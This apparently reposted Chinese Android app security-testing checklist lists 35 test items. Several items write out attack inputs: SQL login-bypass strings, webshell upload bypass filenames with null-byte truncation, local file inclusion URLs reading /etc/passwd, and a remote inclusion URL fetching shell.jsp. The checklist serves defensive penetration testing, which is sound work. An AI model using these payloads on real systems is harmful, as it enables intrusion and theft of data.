安全检测检查清单(Android版APP)

(一)

检查项:allowbackup备份权限

优先级:高

检查要点:被测应用的AndroidManifest.xml文件中allowBackup属性值被设置为true,可通过adb backup对应用数据进行备份,在无root的情况下可以导出应用中存储的所有数据,造成用户数据泄露。

检查方法:

1、使用AndroidKiller对APK文件进行反编译;
2、AndroidManifest.xml 是每个android程序中必须的文件,位于整个项目的根目录,描述了package中暴露的组件(activities, services, 等等),以及各自的实现类,各种能被处理的数据和启动位置。从安全角度来看,它包含了应用程序中所有使用到的组件信息,同时它还会显示应用程序使用的permissiosns信息。在其中搜索allowBackup属性,检查是否被设置为true。

(二)

检查项:Debuggable属性

优先级:高

检查要点:被测应用的AndroidManifest.xml文件中Debuggable属性值被设置为true,可以设置断点来控制程序的执行流程,在应用程序运行时修改其行为。

检查方法:

1、使用AndroidKiller对APK文件进行反编译;
2、在AndroidManifest.xml中搜索Debuggable属性,检查是否被设置为true。

(三)

检查项:APP恶意木马捆绑安全检查

优先级:高

检查要点:检查APP应用是否被捆绑了恶意代码

检查方法:

1、采用杀毒软件等工具,对APP代码进行安全扫描;
2、检查APP应用是否捆绑了恶意木马,如:键盘记录恶意木马等。

(四)

检查项:密码锁定策略

优先级:高

检查要点:测试客户端是否存在手势密码多次输入错误被锁定的安全策略。

检查方法:

1、首先通过正常的操作流程设置一个手势密码。
2、输入不同于步骤1中的手势密码,观察客户端的登陆状态及相应提示。若连续输入多次手势密码错误,观察当用户处于登陆状态时是否退出当前的登陆状态并关闭客户端;当客户未处于登录状态时是否关闭客户端并进行一定时间的输入锁定。

(五)

检查项:登录窗口注入漏洞

优先级:高

检查要点:检查APP登录窗口是否存在注入漏洞

检查方法:

1、首先通过抓包判断站点前端开发语言,如:jsp、php和asp等;
2、根据不同的开发语言输入不同的万能密码进行尝试,如:jsp语言(admin' or 1=1/*等)、PHP语言('or 1=1/*等)和asp/aspx语言(""or ""a""=""a等);
3、判断是否可以成功登录

(六)

检查项:传输通道加密传输

优先级:高

检查要点:验证传输通道是否加密

检查方法:

1)采用抓包工具,如:BurpSuite等对登陆过程进行抓包
2)验证是否对传输通道进行加密,如:https。

(七)

检查项:用户枚举

优先级:高

检查要点:检查输入错误账号和正确账号时,服务器提示,如“密码错误”、“用户名或密码错误”

检查方法:

1)输入错误账号时,提示“账号错误”,则可判断为不通过;
2)输入正确账号时,提示“密码错误”,则可判断为不通过。

(八)

检查项:反向暴力破解

优先级:高

检查要点:是否具备对账号枚举的防范措施

检查方法:

1)采用抓包工具,如:burpsuite等对登陆过程进行抓包;
2)对用户名字段,如:手机号,进行枚举攻击;
3)判断服务器对该攻击过程是否具备防范措施,如:IP封锁等。

(九)

检查项:密码暴力破解(或动态短信暴力破解)

优先级:高

检查要点:是否具备对账号暴力破解的防范措施

检查方法:

1)首先检查登陆机制中,是否存在图形验证码或动态短信,如果没有,则进行一下操作;
2)采用抓包工具,如:burpsuite等对登陆过程进行抓包;
2)对用户密码进行暴力破解攻击;
3)判断服务器对该攻击过程是否具备防范措施,如,账户锁定、IP封锁等

(十)

检查项:短信炸弹

优先级:高

检查要点:是否存在短信炸弹

检查方法:1)使用BurpSuite抓包获取发送短信报文并发送到Repeater模块进行重放报文,模拟向用户发送多次短信的操作;

(十一)

检查项:帐号登录限制

优先级:高

检查要点:测试一个帐号是否可以同时在多个设备上成功登录客户端,进行操作。

检查方法:1、用同一账户分别在两个设备上面进行登录,当后登录设备登录成功后,查看前登录的设备,客户端是否有提示并退出;

(十二)

检查项:短信炸弹

优先级:高

检查要点:是否存在短信炸弹

检查方法:1)采用抓包工具,如:BurpSuite抓包获取发送短信报文,并发送到Repeater模块进行重放报文,模拟向用户发送多次短信的操作;

(十三)

检查项:密码重置绕过

优先级:高

检查要点:密码重置过程中的验证功能是否能够绕过

检查方法:

1)采用抓包工具,如如:burpsuite等抓取密码重置过程包
2)检查重置密码的请求是否包括验证信息,如果不包括验证信息,修改重置账号为其他用户的账号,重放重置密码请求,验证是否重置成功;如果包括验证信息,验证是否有失效或者防伪造机制。

(十四)

检查项:密码复杂度

优先级:高

检查要点:测试修改密码时,是否有复杂度校验

检查方法:1、人工测试,尝试将密码修改为弱口令,如:123456,654321,121212,888888等,查看客户端是否拒绝弱口令。

(十五)

检查项:短信炸弹

优先级:高

检查要点:是否存在短信炸弹

检查方法:1)采用抓包工具,如:BurpSuite抓包获取发送短信报文,并发送到Repeater模块进行重放报文,模拟向用户发送多次短信的操作;

(十六)

检查项:恶意注册

优先级:高

检查要点:是否有恶意注册防范功能

检查方法:

1)注册过程是否有图形验证码、短信验证码防批量注册措施
2)再判断图形验证码或动态短信是否存在绕过漏洞

(十七)

检查项:密码复杂度

优先级:高

检查要点:测试注册时,是否有复杂度校验

检查方法:1、人工测试,尝试将注册密码设置为弱口令,如:123456,654321,121212,888888等,查看客户端是否拒绝弱口令。

(十八)

检查项:业务逻辑绕过

优先级:高

检查要点:对于可以通过代理的方式对交互数据进行分析的客户端,可以对涉及到敏感信息操作的具体业务功能进行测试

检查方法:

1、根据客户端的业务流程,使用代理截获客户端每个功能的通信数据,测试对交互数据的篡改或重放所导致的问题。
2、具体测试内容包括但不限于:篡改造成的越权操作,交易篡改,特殊数据提交(如各种注入问题),重放导致的多次交易等等。

(十九)

检查项:SQL注入、cookie注入、xss常见的应用漏洞

优先级:高

检查要点:检查各web应用系统是否存在web常见漏洞,如:sql注入、cookie注入等

检查方法:

1、寻找可疑点:
使用AWVS扫描器对目标网站进行扫描以找出所有的SQL注入、cookie注入、xss可疑点;
2、确认可疑点是否存在注入、跨站等;
利用AWVS的提示进行手动验证或sqlmap、pangolin等进行验证

(二十)

检查项:文件上传

优先级:高

检查要点:是否存在可以上传任意类型的文件,从而获取webshell

检查方法:

1、手工找到上传点,例如图片上传、附件上传
2、采用直接上传木马(webshell或者脚本文件),例如shell.jsp
3、采用上传后缀为jpg的木马文件,使用burp抓包,并将后缀改为jsp尝试绕过客户端验证
4、采用00截断方法,尝试进行上传;
5、采用绕过服务端MIME类型检测,尝试进行上传。通过burp修改content-type,例如将其内容application/x-httpd-php或text/plain改为image/gif
6、采用上传一个在真实图片中插入一句话木马的图片,绕过对文件内容检测;
(例:
文件名大小写绕过:例如AsP、pHp、JSp等;
黑名单绕过:例如asa、cer等;
FCKEditor上传php2、php4、inc、pwml、asa、cer等格式;
截断绕过:1.php[\0].jpg,test.asp%00.jpg截断绕过
解析漏洞
II6:上传1.asp;1.jpg格式的文件;test.asp/test
Nginx下的PHP CGI解析漏洞,上传1.jpg文件,然后访问http://website.com/1.jpg/1.php,1.jpg文件可能会以php文件执行;test.jpg%00.php
Apache上传绕过:phpshell.php.rar.rar.rar.rar)

(二十一)

检查项:任意文件下载

优先级:高

检查要点:无需登录可以任意下载文件

检查方法:

1、尝试寻找文件下载点
2、 在不登陆情况下,尝试去下载某些文件(例如db、doc、txt等格式的文件)

(二十二)

检查项:本地文件包含

优先级:高

检查要点:是否可以包含本地任意文件

检查方法:

1)通过AWVS扫描,查看扫描结果中,是否存在local file include漏洞
2)更改参数的值为其他路径和文件进行验证,在浏览器地址栏中尝试以下URL:
对于UNIX/Linux服务器可以尝试包含/etc/passwd:
http://www.exmaple.com/viewfile.do?filename=../etc/passwd
对于Windows服务器可以尝试包含
http://www.exmaple.com/viewfile.do?filename=c:\boot.ini文件
3)尝试使用截断,来绕过对文件类型的检查,例如:
http://www.exmaple.com/viewfile.do?filename=../../../../../etc/passwd%00

(二十三)

检查项:远程文件包含

优先级:高

检查要点:是否可以远程包含文件

检查方法:

1)通过AWVS扫描,查看扫描结果中,是否存在file include漏洞
2)更改参数的值为本机的一个web服务根目录下的一个文件,例如shell.jsp
http://www.exmaple.com/viewfile.do?filename=http://192.168.110.160/shell.jsp
3)尝试使用截断,来绕过对文件类型的检查,例如:
http://www.exmaple.com/viewfile.do?filename=http://192.168.110.160/etc/passwd%00

(二十四)

检查项:未授权访问

优先级:高

检查要点:是否存在垂直权限提升

检查方法:

1、利用“敏感数据扫描工具”在不登陆情况下访问省公司提供的CRM系统的功能URL清单。
2、查看扫描工具检测结果中可被未授权访问的URL;
3、对未授权访问的URL进行手工验证

(二十五)

检查项:越权访问

优先级:高

检查要点:

1)是否使用低权限可以访问高权限账号的URL
2)是否存在同级越权

检查方法:

1、低权限账号可以访问高权限账号
1)使用高权限账号登陆,抓取一些只有高权限账号才能登陆的URL
2)退出高权限账号,使用低权限账号登陆后,尝试访问这些高权限账号才能访问的URL
2、同级别越权
使用A账号能否访问B账号的特定数据,实现越权访问

(二十六)

检查项:短信接口恶意调用

优先级:高

检查要点:是否存在短信接口恶意调用

检查方法:

1)在调用短信接口过程中,使用burp进行抓包,修改发送目标与内容
2)  查看是否能按照预定发送短信

(二十七)

检查项:目录遍历

优先级:中

检查要点:是否存在目录遍历

检查方法:

1)通过AWVS扫描,查看扫描结果中,是否存在Directory Listing漏洞
2)使用目录扫描工具扫描目标
3)利用浏览器打开漏洞链接,验证前面两种扫描结果,是否可以成功浏览目录

(二十八)

检查项:客户端组件安全

优先级:中

检查要点:测试客户端是否包含后台服务、Content Provider、第三方调用和广播等组件,Intent权限的设置是否安全。应用不同组成部分之间的机密数据传递是否安全。

检查方法:

1、使用AndroidKiller对APK文件进行反编译;
2、检查AndroidManifest.xml文件中各组件定义标签的安全属性是否设置恰当

(二十九)

检查项:组件Activity配置

优先级:中

检查要点:Activity是安卓应用组件,提供与用户进行交互的界面。如果应用对权限控制不当,可以绕过登录界面直接显示该界面。

检查方法:

1、使用Mercury检查APK中是否存在暴露的activity,使用命令run app.activity.info –a (package name)。(package name是待检测的应用包名)
2、com.isi.testapp.Welcome是登录鉴权后才能启动的界面。可以使用以下命令尝试启动。
run app.activity.start --component com.isi.testapp com.isi.testapp.Welcome

(三十)

检查项:webview组件安全

优先级:中

检查要点:Android 4.2版本以下的webview组件存在安全漏洞(CVE-2012-6636)。检测客户端是否采取措施避免漏洞被利用。

检查方法:

1、检查应用AndroidManifest.xml中的targetSdkVersion是否大于等于17;
2、使用测试网页进行测试(腾讯的测试页面链接,在被测应用中打开即可。http://security.tencent.com/lucky/check_tools.html)

(三十一)

检查项:session失效

优先级:中

检查要点:是否在关闭浏览器、注销、超时的情况下session失效

检查方法:

1)在正常业务操作中,通过burp抓取session id
2)关闭浏览器、注销、超时后分别执行第三步
3)使用第一步抓取的session id访问(利用edit cookie访问某需要登录后才能访问URL)

(三十二)

检查项:session绕过

优先级:中

检查要点:是否存在session绕过

检查方法:1)使用burp截取一个正常业务操作的包,并删除session id后提交请求,查看是否可以成功访问

(三十三)

检查项:会话无session校验

优先级:中

检查要点:是否存在会话无session校验

检查方法:

1)在正常业务操作中,对数据访问进行抓包,查看数据包中是否存在session等字段,如果没有,则进行如下操作。
2)在异地直接打开该URL

(三十四)

检查项:错误处理测试

优先级:中

检查要点:应用程序报错中泄漏敏感信息

检查方法:检查报错是否含有系统信息、错误代码、版本号等信息

(三十五)

检查项:struts任意命令执行漏洞

优先级:高

检查要点:是否存在struts任意命令执行漏洞

检查方法:

1、查看各检查系统是否使用Struts2框架
2、使用K8_Struts2_EXP工具进行检查、验证,查看工具是否成功执行系统命令

猜你喜欢

转载自www.cnblogs.com/mqh666/p/12285621.html